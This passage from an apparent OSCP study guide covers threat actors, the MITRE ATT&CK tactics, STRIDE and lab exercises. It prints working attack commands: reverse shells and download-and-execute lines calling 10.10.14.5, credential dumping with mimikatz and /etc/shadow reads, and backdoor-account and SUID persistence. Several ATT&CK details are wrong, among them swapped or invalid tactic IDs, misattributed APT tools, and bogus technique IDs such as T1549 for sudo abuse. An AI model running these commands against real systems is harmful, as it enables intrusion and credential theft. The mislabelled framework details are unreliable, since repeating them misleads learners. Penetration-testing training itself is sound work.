Negligent Insider Unintentional harm Employee clicking phishing link
Compromised Insider Account taken over Hacker using stolen credentials
Espionage Insider State-sponsored Employee working for foreign government

Detection Challenges:

Why Insiders Are Hard to Detect:
├── Legitimate access credentials
├── Knowledge of security controls
├── Ability to bypass normal procedures
├── Access to sensitive systems by design
└── Behavior may appear normal initially

Detection Strategies:
├── User and Entity Behavior Analytics (UEBA)
├── Data Loss Prevention (DLP) monitoring
├── Privileged Access Management (PAM)
├── Separation of duties
└── Regular access reviews

Nation-State Actors (APTs)

Attribute Details
Motivation Espionage, sabotage, strategic advantage
Skill Level Very high
Resources Virtually unlimited (state funding)
Tools Custom malware, zero-days, advanced infrastructure
Targets Government, military, critical infrastructure, corporations
TTPs Long-term persistence, advanced evasion, supply chain attacks
Risk Level Critical

Notable APT Groups:

Alias Attributed Nation Focus Notable Tools
APT28 / Fancy Bear Russia Government, military Sofacy, X-Agent
APT29 / Cozy Bear Russia Political, intelligence WellMess, WellMail
Lazarus Group North Korea Financial, sabotage WannaCry, Hidden Cobra
APT1 / Unit 61398 China Corporate espionage MiniMule, Axiom
APT33 Iran Critical infrastructure SeaDuke, Elfin
APT41 China Espionage, financial ShadowPad, PlugX

APT Kill Chain Characteristics:

Typical APT Operation Timeline:

Phase 1: Reconnaissance (Weeks to Months)
├── OSINT gathering
├── Target identification
└── Vulnerability research

Phase 2: Initial Access (Days)
├── Spear phishing
├── Supply chain compromise
└── Zero-day exploitation

Phase 3: Installation & Persistence (Days to Weeks)
├── Backdoor deployment
├── Credential harvesting
└── Lateral movement preparation

Phase 4: Command & Control (Ongoing)
├── C2 channel establishment
├── Domain fronting
└── Encrypted communications

Phase 5: Actions on Objectives (Weeks to Months)
├── Data exfiltration
├── System manipulation
└── Evidence removal

Total Duration: 6 months to 2+ years
Detection Time: Often 200+ days (average dwell time)

Competitors (Industrial Espionage)

Attribute Details
Motivation Competitive advantage, market position
Skill Level Moderate to high
Resources Corporate budget, hired hackers
Tools Commercial tools, custom malware
Targets Competing companies, R&D departments
TTPs Corporate espionage, IP theft, sabotage
Risk Level Moderate to high

Common Tactics:

Industrial Espionage Methods:
├── Hiring employees from competitors (IP transfer)
├── Business partner compromise
├── Conference/social engineering
├── Supply chain infiltration
├── Open-source intelligence (OSINT)
└── Direct cyber attacks on competitor systems

4.3 Threat Actor Comparison Matrix

Characteristic Script Kiddie Hacktivist Cybercriminal Insider APT Competitor
Primary Motivation Ego Ideology Money Revenge/Gain Espionage Competition
Technical Skill ★☆☆☆☆ ★★☆☆☆ ★★★☆☆ ★★★☆☆ ★★★★★ ★★★★☆
Resources ★☆☆☆☆ ★★☆☆☆ ★★★☆☆ ★★★★☆ ★★★★★ ★★★★☆
Persistence ★☆☆☆☆ ★★☆☆☆ ★★★☆☆ ★★★★★ ★★★★★ ★★★☆☆
Stealth ★☆☆☆☆ ★★☆☆☆ ★★★☆☆ ★★★★☆ ★★★★★ ★★★★☆
Detection Difficulty Easy Moderate Moderate Hard Very Hard Hard
Typical Impact Low Low-Med High Very High Critical High
Attack Duration Minutes-Hours Hours-Days Days-Weeks Ongoing Months-Years Weeks-Months

4.4 Threat Actor Selection for Penetration Testing

Choosing the Right Threat Actor Model:
─────────────────────────────────────

For OSCP Exam:
├── Primary Model: Cybercriminal / Skilled Individual
├── Focus: Exploitation, privilege escalation, pivoting
├── Tools: Metasploit, custom scripts, manual exploitation
└── Goal: Domain Admin / Root access

For Enterprise Assessment:
├── Consider multiple actor models
├── Map to actual threat landscape
├── Use MITRE ATT&CK for TTP mapping
└── Include insider threat scenarios

For Red Team Exercise:
├── Primary Model: APT
├── Focus: Stealth, persistence, evasion
├── Tools: Custom tools, living-off-the-land
└── Goal: Specific objective (crown jewel access)

5. MITRE ATT&CK Framework

5.1 Overview

MITRE ATT&CK (Adversarial Tactics, Techniques, and Common Knowledge) is a globally accessible knowledge base of adversary tactics and techniques based on real-world observations.

Framework Components

Component Description
Tactics The “why” — adversary’s goal at a stage
Techniques The “how” — way to achieve a tactic
Procedures Specific implementations of techniques
Mitigations Defenses against techniques
Datasources Data that can detect techniques
Groups Known adversary groups and their TTPs

ATT&CK Matrix Structure

┌─────────────────────────────────────────────────────────────────┐
│                    MITRE ATT&CK Matrix                          │
│                                                                 │
│  Tactics (Columns) →                                           │
│  ┌──────┬──────┬──────┬──────┬──────┬──────┬──────┬──────┐     │
│  │Prev. │Recon │Res. │Weap. │Intr. │Exec. │Pers. │Priv. │     │
│  │ence  │      │ourc.│on    │usion │      │ence │Esc. │     │
│  ├──────┼──────┼──────┼──────┼──────┼──────┼──────┼──────┤     │
│  │Tech  │Tech  │Tech  │Tech  │Tech  │Tech  │Tech  │Tech  │     │
│  │A     │A     │A     │A     │A     │A     │A     │A     │     │
│  │Tech  │Tech  │Tech  │Tech  │Tech  │Tech  │Tech  │Tech  │     │
│  │B     │B     │B     │B     │B     │B     │B     │B     │     │
│  └──────┴──────┴──────┴──────┴──────┴──────┴──────┴──────┘     │
│                                                                 │
│  Techniques (Cells) → Specific methods to achieve tactics       │
└─────────────────────────────────────────────────────────────────┘

5.2 All 14 Tactics Explained

Tactic 1: Initial Access (TA0001)

Goal: Get initial entry into the target environment.

Technique ID Technique Name Description OSCP Relevance
T1566 Phishing Deceptive messages to compromise users Email harvesting for credentials
T1190 Exploit Public-Facing Application Exploit vulnerabilities in internet-facing apps Web app exploitation
T1133 External Remote Services Abuse remote services (RDP, SSH, VPN) RDP/SSH brute force, exploitation
T1078 Valid Accounts Use legitimate credentials Credential reuse, PtH
T1195 Supply Chain Compromise Compromise via third-party Less common in OSCP

Common Initial Access Techniques in OSCP:

├── Web Application Exploitation (T1190)
│   ├── SQL Injection → Database access
│   ├── Command Injection → RCE
│   ├── File Upload → Web shell
│   └── Authentication Bypass → Unauthorized access
│
├── Service Exploitation (T1190)
│   ├── Vulnerable services (SMB, RDP, WinRM)
│   ├── Default credentials
│   └── Known CVE exploitation
│
└── Credential-Based Access (T1078)
    ├── Brute force attacks
    ├── Credential stuffing
    └── Pass-the-Hash

Tactic 2: Execution (TA0002)

Goal: Run malicious code on the target system.

Technique ID Technique Name Description OSCP Relevance
T1059 Command and Scripting Interpreter Use cmd, PowerShell, bash Post-exploitation commands
T1203 Exploitation for Client Execution Exploit client apps Office macro exploits
T1053 Scheduled Job/Task Use scheduled tasks Persistence, execution
T1216 Signed Script Abuse signed scripts Bypass restrictions

OSCP Execution Examples:

# Windows - PowerShell Execution
powershell -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.5/empire')"

# Windows - CMD Execution
cmd.exe /c "certutil -urlcache -split -f http://10.10.14.5/payload.exe payload.exe"

# Linux - Bash Execution
bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'

# Linux - Python Execution
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.10.14.5",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

Tactic 3: Persistence (TA0003)

Goal: Maintain access to the target system across reboots and credential changes.

Technique ID Technique Name Description OSCP Relevance
T1547 Boot or Logon Autostart Registry run keys, startup folder Windows persistence
T1053 Scheduled Task/Job cron, scheduled tasks Both Windows/Linux
T1136 Create Account Create new user accounts Backdoor accounts
T1546 Event Triggered Execution DLL hijacking, WMI events Advanced persistence

OSCP Persistence Techniques:

Windows:
├── Registry Run Keys
│   └── HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
├── Scheduled Tasks
│   └── schtasks /create /tn "Update" /tr C:\path\payload.exe /sc onlogon
├── Service Creation
│   └── sc create Backdoor binPath= "C:\path\payload.exe" start= auto
├── WMI Event Subscription
│   └── Persistent even after reboot
└── User Account Creation
    └── net user backdoor P@ssw0rd! /add & net localgroup administrators backdoor /add

Linux:
├── Cron Jobs
│   └── crontab -e → */5 * * * * /path/to/payload
├── Systemd Service
│   └── /etc/systemd/system/backdoor.service
├── SSH Authorized Keys
│   └── ~/.ssh/authorized_keys
├── Bash Profile
│   └── ~/.bashrc, ~/.profile
└── SUID Binary
    └── cp /bin/bash /usr/local/bin/helper && chmod +s /usr/local/bin/helper

Tactic 4: Privilege Escalation (TA0004)

Goal: Obtain higher-level permissions.

Technique ID Technique Name Description OSCP Relevance
T1068 Exploitation for Privilege Escalation Kernel exploits, vuln software Core OSCP skill
T1548 Abuse Elevation Control Mechanism UAC bypass, Setuid Windows/Linux LPE
T1134 Access Token Manipulation Token impersonation Windows PtH, incognito
T1543 Create or Modify System Process Service exploitation Windows service abuse

OSCP Privilege Escalation Mapping:

Windows LPE → ATT&CK:
├── T1068: Kernel exploits (MS16-032, etc.)
├── T1543.003: Service abuse (unquoted paths, permissions)
├── T1546.011: DLL Hijacking
├── T1134.002: Token Impersonation (Potato family)
├── T1548.002: AlwaysInstallElevated
└── T1055: Process Injection

Linux LPE → ATT&CK:
├── T1068: Kernel exploits (Dirty COW, etc.)
├── T1548.001: SUID/SGID abuse
├── T1548.003: Capabilities abuse
├── T1053.003: Cron job exploitation
├── T1549: Sudo abuse
└── T1214: PATH hijacking

Tactic 5: Defense Evasion (TA0005)

Goal: Avoid detection by security controls.

Technique ID Technique Name Description OSCP Relevance
T1070 Indicator Removal Clear logs, delete artifacts Post-exploitation cleanup
T1027 Obfuscated Files Encode/encrypt payloads Evasion techniques
T1222 File and Directory Permissions Hide files Stealth operations
T1055 Process Injection Inject into legitimate process Advanced execution

Tactic 6: Credential Access (TA0006)

Goal: Obtain credentials to access resources.

Technique ID Technique Name Description OSCP Relevance
T1003 OS Credential Dumping LSASS, SAM, /etc/shadow Core OSCP skill
T1110 Brute Force Password guessing Initial access
T1557 Adversary-in-the-Middle NLA interception, MITM Network attacks
T1552 Unsecured Credentials Files, configs, browsers Credential harvesting

OSCP Credential Access Techniques:

# Windows Credential Dumping (T1003)
├── mimikatz privilege::debug sekurlsa::logonpasswords
├── secretsdump.py -just-dc localhost
├── procdump.exe -ma <lsass_pid> lsass.dmp
└── nanodump.exe

# Linux Credential Harvesting (T1005)
├── cat /etc/shadow
├── cat /etc/passwd
├── grep -r password /home/*/.bash_history
├── cat /home/*/.ssh/id_rsa
└── strings /proc/<pid>/environ

# Kerberos Attacks
├── Kerberoasting: GetUserSPNs.py domain/user:pass@TARGET
├── AS-REP Roasting: GetNPUsers.py domain/ -usersfile users.txt
└── Silver Ticket: ticketer.py -spn cifs/target.domain.local

Tactic 7: Discovery (TA0007)

Goal: Explore the environment to inform subsequent actions.

Technique ID Technique Name Description OSCP Relevance
T1082 System Information Discovery whoami, systeminfo, uname Core OSCP skill
T1087 Account Discovery net user, cat /etc/passwd User enumeration
T1018 Remote System Discovery scan, net view Network mapping
T1120 Peripheral Device Discovery list devices Hardware enumeration

OSCP Discovery Commands:

# Windows Discovery
whoami /all
systeminfo
net user
net group "Domain Admins" /domain
net share
ipconfig /all
netstat -ano
route print
arp -a
net view /domain
Get-Process
Get-Service

# Linux Discovery
whoami
id
uname -a
cat /etc/os-release
cat /etc/passwd
cat /etc/group
ifconfig -a
ip addr
netstat -tulpn
ss -tulpn
ps aux
crontab -l
systemctl list-units --type=service

Tactic 8: Lateral Movement (TA0008)

Goal: Move through the network to access additional systems.

Technique ID Technique Name Description OSCP Relevance
T1021 Remote Services RDP, SMB, SSH, WinRM Core OSCP skill
T1570 Lateral Tool Transfer Move tools between systems Tool deployment
T1080 Taint Shared Content Modify shared resources Network share abuse
T1563 Remote Service Hijacking Service abuse for movement Advanced movement

OSCP Lateral Movement:

# SMB Lateral Movement
├── psexec.py domain/user:pass@target
├── wmiexec.py domain/user:pass@target
├── smbexec.py domain/user:pass@target
└── smbclient //target/share

# RDP Lateral Movement
├── xfreerdp /u:user /p:pass /v:target
└── rdesktop target -u user -p pass

# SSH Lateral Movement
├── ssh user@target
├── ssh -i keyfile user@target
└── sshpass -p 'password' ssh user@target

# Pass-the-Hash
├── psexec.py -hashes :ntlmhash domain/user@target
└── secretsdump.py -hashes :ntlmhash domain/user@target

Tactic 9: Collection (TA0009)

Goal: Gather data of interest.

Technique ID Technique Name Description OSCP Relevance
T1005 Data from Local System Collect files locally Flag collection
T1039 Data from Network Shared Drive Access network shares Domain data access
T1115 Screen Capture Take screenshots Information gathering
T1123 Audio Capture Record audio Rare in OSCP

Tactic 10: Command and Control (TA0010)

Goal: Communicate with compromised systems.

Technique ID Technique Name Description OSCP Relevance
T1071 Application Layer Protocol Use HTTP, DNS, etc. Reverse shells
T1573 Encrypted Channel Encrypt C2 traffic Secure channels
T1105 Ingress Tool Transfer Upload tools to target Tool deployment
T1102 Web Service Use web services for C2 Web shells

OSCP C2 Techniques:

# Reverse Shell Methods
├── Netcat: nc -e /bin/sh 10.10.14.5 4444
├── Bash: bash -i >& /dev/tcp/10.10.14.5/4444 0>&1
├── Python: python3 -c 'import pty; pty.spawn("/bin/sh")'
├── PowerShell: powershell -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/invoker.ps1')"
├── Meterpreter: msfvenom payloads
└── Socat: socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.5:4444

# Upgrading Shells
├── Python TTY: python3 -c 'import pty; pty.spawn("/bin/bash")'
├── Script: scripts/pty.sh
└── Stty: stty raw -echo; fg

Tactic 11: Exfiltration (TA0011)

Goal: Steal data from the target environment.

Technique ID Technique Name Description OSCP Relevance
T1041 Exfiltration Over C2 Channel Send data via C2 Flag submission
T1048 Exfiltration Over Alternative Protocol Use FTP, DNS, etc. Data transfer
T1567 Exfiltration Over Web Service Upload to cloud, web Data staging
T1020 Automated Exfiltration Scripted data collection Bulk data theft

Tactic 12: Impact (TA0012)

Goal: Disrupt operations or destroy data.

Technique ID Technique Name Description OSCP Relevance
T1486 Data Encrypted for Impact Ransomware encryption Out of scope
T1489 Service Stop Stop critical services Out of scope
T1490 Inhibit System Recovery Delete backups Out of scope
T1499 Endpoint Denial of Service Crash the system Out of scope

Note: Impact tactics are generally out of scope for OSCP. Focus on access, not destruction.

Tactic 13: Reconnaissance (TA0043)

Goal: Gather information about the target before engagement.

Technique ID Technique Name Description OSCP Relevance
T1595 Active Scanning Port scanning, service enum Core OSCP skill
T1592 Gather Victim Host Info OS, architecture info Pre-engagement
T1589 Gather Victim Identity Info User enumeration Pre-engagement
T1590 Gather Victim Network Info Network mapping Pre-engagement

OSCP Reconnaissance:

# Network Scanning
├── Nmap: nmap -sC -sV -oA initial target
├── Masscan: masscan -p0-65535 target --rate 1000
├── Rustscan: rustscan -a target -- -sC -sV
└── Zmap: zmap -p 80,443,22,3389 target/24

# Service Enumeration
├── SMB: enum4linux -a target
├── LDAP: ldapsearch -x -h target -s base
├── SNMP: snmpwalk -v2c -c public target
├── DNS: dnsrecon -d target.com
└── Web: gobuster, nikto, dirb

# Web Application Recon
├── Directory Enumeration: gobuster dir -u http://target -w common.txt
├── Subdomain Enumeration: subfinder -d target.com
├── Technology Detection: whatweb target
└── Vulnerability Scanning: nikto -h http://target

Tactic 14: Resource Development (TA0042)

Goal: Establish resources for future operations.

Technique ID Technique Name Description OSCP Relevance
T1583 Acquire Infrastructure Purchase domains, VPS Pre-engagement
T1586 Compromise Accounts Obtain legitimate accounts Credential acquisition
T1588 Obtain Capabilities Acquire tools, exploits Tool preparation
T1591 Gather Victim Org Info Research target org Pre-engagement

5.3 ATT&CK for Penetration Testing Planning

Using ATT&CK for Test Planning

Penetration Testing with ATT&CK:

Step 1: Define Scope and Objectives
├── What systems are in scope?
├── What are the business objectives?
└── What threat actors are relevant?

Step 2: Select Relevant Tactics and Techniques
├── Map to likely attack paths
├── Prioritize based on risk
└── Consider defender capabilities

Step 3: Develop Test Cases
├── Create test cases for each technique
├── Define success criteria
└── Plan tooling and resources

Step 4: Execute Tests
├── Follow the kill chain
├── Document findings
└── Map results to ATT&CK

Step 5: Report and Recommend
├── Present findings in ATT&CK context
├── Provide mitigation recommendations
└── Suggest detection improvements

OSCP Techniques Mapped to ATT&CK

OSCP Technique ATT&CK Tactic ATT&CK Technique Technique ID
Nmap scanning Reconnaissance Active Scanning T1595
Web app exploitation Initial Access Exploit Public-Facing App T1190
Reverse shell Command and Control Application Layer Protocol T1071
Privilege escalation Privilege Escalation Exploitation for Priv Esc T1068
Credential dumping Credential Access OS Credential Dumping T1003
Pass-the-Hash Lateral Movement Remote Services T1021
Kerberoasting Credential Access Kernel/Module T1558
Golden Ticket Credential Access Forged Kerberos Ticket T1558.003
Scheduled task persistence Persistence Scheduled Task/Job T1053
Service abuse Privilege Escalation Create/Modify System Process T1543
SUID exploitation Privilege Escalation Abuse Elevation Control T1548
Cron job exploitation Persistence Scheduled Task/Job T1053.003
SSH pivoting Lateral Movement Remote Services T1021.004
SOCKS proxy Command and Control Application Layer Protocol T1071
Metasploit exploitation Initial Access Exploit Public-Facing App T1190

5.4 ATT&CK Navigator Usage

ATT&CK Navigator Layers for Pen Testing:

Layer 1: Planned Techniques
├── Color: Blue
├── Opacity: 0.5
└── Techniques: All planned attack techniques

Layer 2: Executed Techniques
├── Color: Green
├── Opacity: 0.7
└── Techniques: Successfully executed techniques

Layer 3: Blocked Techniques
├── Color: Red
├── Opacity: 0.8
└── Techniques: Techniques blocked by defenses

Layer 4: Findings
├── Color: Yellow
├── Opacity: 0.6
└── Techniques: Techniques that yielded findings

6. OSCP Exam Relevance

6.1 How Threat Modeling Applies to the Exam

Threat Modeling Mindset for OSCP:
────────────────────────────────

Before Starting an Engagement:

1. Define the Attack Surface
   ├── What IP ranges are in scope?
   ├── What services are exposed?
   ├── What is the likely architecture?
   └── What are the trust boundaries?

2. Identify Potential Entry Points
   ├── Internet-facing services (web, mail, DNS)
   ├── Vulnerable services (SMB, RDP, WinRM)
   ├── Default credentials
   └── Misconfigured services

3. Map Potential Attack Paths
   ├── Web App → RCE → LPE → Lateral Movement
   ├── Service Exploit → Initial Access → LPE
   ├── Credential Attack → Initial Access → Lateral Movement
   └── Pivot → Internal Network → Domain Controller

4. Prioritize Based on Likelihood
   ├── Easy wins first (default creds, known CVEs)
   ├── Web applications (high attack surface)
   ├── Service vulnerabilities
   └── Post-exploitation opportunities

6.2 Thinking Like Different Threat Actors

As a Cybercriminal (Primary OSCP Mindset)

Cybercriminal Approach:
├── Goal: Maximum access with minimum effort
├── Method: Exploit known vulnerabilities
├── Tools: Metasploit, custom scripts
├── Focus: Quick wins, automated tools
└── Mindset: "What's the fastest path to Domain Admin?"

Practical Application:
├── Start with automated scanning (nmap, searchsploit)
├── Exploit known CVEs first
├── Use credential attacks when exploits fail
├── Escalate privileges systematically
└── Move laterally to reach high-value targets

As an Insider Threat

Insider Threat Approach:
├── Goal: Access restricted resources
├── Method: Abuse existing access
├── Tools: Legitimate admin tools
├
├── Focus: Data exfiltration, privilege abuse
└── Mindset: "What can I access with my current privileges?"

Exam Relevance:
├── After initial access, think like an insider
├── What can I see with my current user?
├── What files are accessible?
├── What services can I interact with?
└── What credentials can I harvest?

As an APT (Advanced Scenarios)

APT Approach:
├── Goal: Long-term persistent access
├── Method: Stealth, patience, custom tools
├── Tools: Living-off-the-land, custom malware
├── Focus: Persistence, evasion, slow movement
└── Mindset: "How do I maintain access undetected?"

Exam Relevance:
├── Less relevant for OSCP (time-constrained)
├── But useful for understanding persistence
├── Helps with post-exploitation planning
└── Valuable for OSWE/OSED progression

6.3 OSCP Exam Threat Modeling Checklist

Pre-Engagement Threat Model:
───────────────────────────

[ ] Target IP range identified
[ ] Initial port scan completed
[ ] Services identified and versioned
[ ] Web applications discovered
[ ] Default credentials checked
[ ] Known vulnerabilities researched
[ ] Attack paths mapped
[ ] Tools prepared and tested

During Engagement:
─────────────────

[ ] Each new system threat-modeled
[ ] Attack surface expanded after each compromise
[ ] Credentials harvested and tested
[ ] Network shares and resources enumerated
[ ] Domain structure mapped
[ ] Privilege escalation paths identified
[ ] Lateral movement options evaluated

Post-Compromise:
───────────────

[ ] All accessible systems documented
[ ] Credentials collected and organized
[ ] Domain Admin path identified
[ ] Evidence collected for report
[ ] Attack chain documented

7. Practical Threat Modeling During an Engagement

7.1 Step-by-Step Threat Modeling Process

Phase 1: Reconnaissance and Scoping

# Step 1: Define Scope
# Document target IP ranges, domains, and rules of engagement

# Step 2: Initial Reconnaissance
nmap -sC -sV -O -oA recon/initial_scan <target_ip>

# Step 3: Full Port Scan (if needed)
nmap -p- --min-rate 1000 -oA recon/full_scan <target_ip>

# Step 4: Service Enumeration
# For each discovered service, perform deep enumeration

Phase 2: Attack Surface Analysis

Attack Surface Mapping Template:

┌─────────────────────────────────────────────────────────────┐
│                    Attack Surface Map                        │
│                                                             │
│  External Facing:                                           │
│  ├── Web Application (Port 80/443)                          │
│  │   ├── Technology: Apache 2.4.49                          │
│  │   ├── Framework: PHP 7.4                                 │
│  │   ├── Entry Points: Login, Search, Upload                │
│  │   └── Potential Vulns: SQLi, XSS, File Upload            │
│  ├── SSH (Port 22)                                          │
│  │   ├── Version: OpenSSH 8.2p1                       │
│  │   └── Potential Vulns: Brute force, weak keys            │
│  └── SMB (Port 445)                                         │
│      ├── OS: Windows Server 2019                            │
│      └── Potential Vulns: EternalBlue, credential attacks   │
│                                                             │
│  Internal Facing (after initial access):                     │
│  ├── Database (Port 3306)                                   │
│  ├── LDAP (Port 389)                                        │
│  └── RDP (Port 3389)                                        │
└─────────────────────────────────────────────────────────────┘

Phase 3: Threat Identification

STRIDE Analysis for Web Application:

Spoofing:
├── Can I bypass authentication?
├── Are session tokens secure?
├── Is MFA implemented?
└── Test: Authentication bypass, session hijacking

Tampering:
├── Can I modify input parameters?
├── Is input validated?
├── Can I upload malicious files?
└── Test: SQL injection, file upload, parameter tampering

Repudiation:
├── Are actions logged?
├── Can logs be tampered with?
└── Test: Log analysis, audit trail review

Information Disclosure:
├── Are error messages verbose?
├── Is sensitive data exposed?
├── Are directory listings enabled?
└── Test: Error probing, directory browsing, metadata analysis

Denial of Service:
├── (Out of scope for OSCP)
└── Note: Do not perform DoS attacks

Elevation of Privilege:
├── Can I escalate from user to admin?
├── Are there IDOR vulnerabilities?
├── Can I access admin functions?
└── Test: IDOR, privilege escalation, admin access

Phase 4: Attack Path Development

Attack Path Analysis:

Path 1: Web Application → Domain Admin
──────────────────────────────────────
1. Exploit SQL injection on web app
2. Extract database credentials
3. Access internal database server
4. Find domain credentials in database
5. Use credentials for lateral movement
6. Escalate to Domain Admin

Path 2: Service Exploit → Domain Admin
──────────────────────────────────────
1. Exploit vulnerable SMB service
2. Gain initial shell
3. Perform local privilege escalation
4. Harvest credentials from memory
5. Move laterally to domain controller
6. Dump domain credentials

Path 3: Credential Attack → Domain Admin
────────────────────────────────────────
1. Brute force SSH/RDP credentials
2. Gain initial access
3. Enumerate internal network
4. Find weak credentials on other systems
5. Move laterally through network
6. Reach domain controller

Phase 5: Execution and Documentation

Engagement Documentation Template:

┌─────────────────────────────────────────────────────────────┐
│  Target: 10.10.10.10                                        │
│  Date: 2024-01-15                                           │
│                                                             │
│  Threat Model Summary:                                      │
│  ├── Primary Entry Point: Web Application (Port 80)         │
│  ├── Key Vulnerability: SQL Injection                       │
│  ├── Attack Path: Web → DB → Internal → DC                  │
│  ├── STRIDE Categories: S, T, I, E                          │
│  └── ATT&CK Tactics: Initial Access, Exec, PrivEsc, LatMov  │
│                                                             │
│  Findings:                                                  │
│  ├── [CRITICAL] SQL Injection → RCE                         │
│  ├── [HIGH] Default Credentials on SMB                      │
│  ├── [MEDIUM] Information Disclosure (error messages)        │
│  └── [LOW] Directory Listing Enabled                        │
│                                                             │
│  Mitigations:                                               │
│  ├── Parameterized queries                                  │
│  ├── Change default credentials                             │
│  ├── Generic error messages                                 │
│  └── Disable directory listing                              │
└─────────────────────────────────────────────────────────────┘

8. Lab Exercises

8.1 Exercise 1: Build an Attack Tree

Objective: Create an attack tree for a web application with a login page, file upload feature, and admin panel.

Steps:

1. Define the Root Goal
   └── "Gain administrative access to the web application"

2. Identify High-Level Paths (OR)
   ├── Path A: Exploit login page
   ├── Path B: Exploit file upload
   ├── Path C: Exploit admin panel directly
   └── Path D: Social engineering

3. Decompose Each Path

   Path A: Exploit Login Page (OR)
   ├── SQL Injection on login form
   ├── Brute force credentials
   └── Credential stuffing

   Path B: Exploit File Upload (AND)
   ├── Bypass file type validation
   ├── Upload web shell
   └── Execute web shell

   Path C: Exploit Admin Panel (OR)
   ├── IDOR to access admin functions
   ├── Authentication bypass
   └── XSS to steal admin session

4. Add Attributes to Leaf Nodes

   | Leaf Node | Cost | Difficulty | Detectability |
   |-----------|------|------------|---------------|
   | SQL Injection | Low | Medium | Medium |
   | Brute Force | Low | Easy | High |
   | Web Shell Upload | Medium | Medium | Medium |
   | IDOR | Low | Easy | Low |
   | XSS | Medium | Medium | Medium |

5. Identify Countermeasures

   | Leaf Node | Countermeasure |
   |-----------|---------------|
   | SQL Injection | Parameterized queries |
   | Brute Force | Account lockout, MFA |
   | Web Shell Upload | File type validation, sandboxing |
   | IDOR | Authorization checks |
   | XSS | Output encoding, CSP |

6. Calculate Risk and Prioritize

   Highest Risk Paths:
   ├── SQL Injection (Low cost, Medium difficulty, Medium detection)
   └── IDOR (Low cost, Easy difficulty, Low detection)

Deliverable: Draw the attack tree using a tool like draw.io or Threat Dragon.


8.2 Exercise 2: STRIDE Analysis

Objective: Perform a STRIDE analysis on a hypothetical e-commerce application.

Application Architecture:

┌──────────┐     ┌──────────┐     ┌──────────┐     ┌──────────┐
│  Client  │────►│  Web     │────►│  App     │────►│  Database│
│  Browser │     │  Server  │     │  Server  │     │  Server  │
└──────────┘     └──────────┘     └──────────┘     └──────────┘
                      │                  │
                      │                  │
                      ▼                  ▼
                 ┌──────────┐     ┌──────────┐
                 │  Payment │     │  Cache   │
                 │  Gateway │     │  Server  │
                 └──────────┘     └──────────┘

STRIDE Analysis Table:

Component STRIDE Category Threat Description Mitigation
Client → Web Server Spoofing Attacker impersonates legitimate user HTTPS, session validation
Client → Web Server Tampering Attacker modifies HTTP requests Input validation, CSRF tokens
Web Server → App Server Information Disclosure Sensitive data in transit TLS encryption
App Server → Database Spoofing Attacker connects directly to DB Network segmentation, auth
Database Server Tampering Attacker modifies stored data Integrity checks, encryption
Payment Gateway Repudiation Transaction denial Audit logging, digital signatures
Cache Server Information Disclosure Cached sensitive data Cache isolation, TTL
Web Server Denial of Service Application overwhelmed Rate limiting, WAF
App Server Elevation of Privilege User escalates to admin RBAC, authorization checks

Deliverable: Complete STRIDE analysis table with at least 15 threats.


8.3 Exercise 3: MITRE ATT&CK Mapping

Objective: Map a simulated penetration test to the MITRE ATT&CK framework.

Scenario: You performed the following actions during a penetration test:

  1. Scanned the target network with Nmap
  2. Found a vulnerable web application
  3. Exploited SQL injection to gain RCE
  4. Established a reverse shell
  5. Dumped credentials from memory
  6. Used credentials to access another system via SSH
  7. Escalated privileges using a SUID binary
  8. Created a persistent backdoor via cron job

ATT&CK Mapping:

Action Tactic Technique ID
Nmap scan Reconnaissance Active Scanning T1595
SQL injection Initial Access Exploit Public-Facing App T1190
Reverse shell Command and Control Application Layer Protocol T1071
Credential dump Credential Access OS Credential Dumping T1003
SSH access Lateral Movement Remote Services T1021.004
SUID exploit Privilege Escalation Abuse Elevation Control T1548.001
Cron persistence Persistence Scheduled Task/Job T1053.003

Deliverable: Create an ATT&CK Navigator layer file (JSON) with your mappings.


8.4 Exercise 4: Threat Actor Profiling

Objective: Profile threat actors relevant to a financial services company.

Company Profile:

  • Industry: Financial Services
  • Size: 5,000 employees
  • Assets: Customer financial data, trading systems
  • Infrastructure: Hybrid cloud (AWS + on-prem)

Threat Actor Analysis:

Actor Likelihood Impact Motivation Key TTPs Mitigation Priority
Cybercriminals High Critical Financial gain Ransomware, data theft, phishing Critical
Nation-State (APT) Medium Critical Espionage Advanced persistent threats, zero-days High
Insiders Medium High Revenge, financial Data exfiltration, sabotage High
Competitors Low Medium Competitive advantage Corporate espionage Medium
Hacktivists Low Low Ideology DDoS, defacement Low
Script Kiddies High Low Ego Automated attacks, default creds Medium

Deliverable: Threat actor profile document with recommended defenses for each actor.


8.5 Exercise 5: Using ATT&CK Navigator

Objective: Use the MITRE ATT&CK Navigator to visualize attack coverage.

Steps:

  1. Go to https://attack.mitre.org/tools/navigator/
  2. Create a new layer
  3. Add techniques you have tested during labs
  4. Color-code by status:
    • Green: Successfully executed
    • Yellow: Partially executed
    • Red: Blocked by defenses
    • Blue: Planned but not executed
  5. Export the layer as JSON

Sample Layer JSON:

{
  "name": "OSCP Lab Coverage",
  "techniques": [
    {
      "techniqueID": "T1595",
      "tactic": "reconnaissance",
      "color": "#00ff00",
      "comment": "Nmap scanning completed",
      "enabled": true,
      "metadata": [],
      "score": 0
    },
    {
      "techniqueID": "T1190",
      "tactic": "initial-access",
      "color": "#00ff00",
      "comment": "Web app exploitation successful",
      "enabled": true,
      "metadata": [],
      "score": 0
    },
    {
      "techniqueID": "T1068",
      "tactic": "privilege-escalation",
      "color": "#ffff00",
      "comment": "Partial - LPE achieved on Linux, not Windows",
      "enabled": true,
      "metadata": [],
      "score": 0
    }
  ],
  "gradient": {
    "colors": ["#ff6666ff", "#ffff66ff", "#66ff66ff"],
    "minValue": 0,
    "maxValue": 10
  },
  "legendItems": [],
  "hideDisabled": false
}

9. Key Tools

9.1 Threat Modeling Tools

Tool Type Description Cost
Microsoft Threat Modeling Tool Desktop Official STRIDE tool, DFD creation Free
Threat Dragon Web/Desktop OWASP open-source threat modeling Free
IriusRisk SaaS Automated threat modeling, risk quantification Commercial
Omnithreat Web Collaborative threat modeling Free/Commercial
InSpec CLI Compliance and threat modeling Free

9.2 ATT&CK Tools

Tool Type Description URL
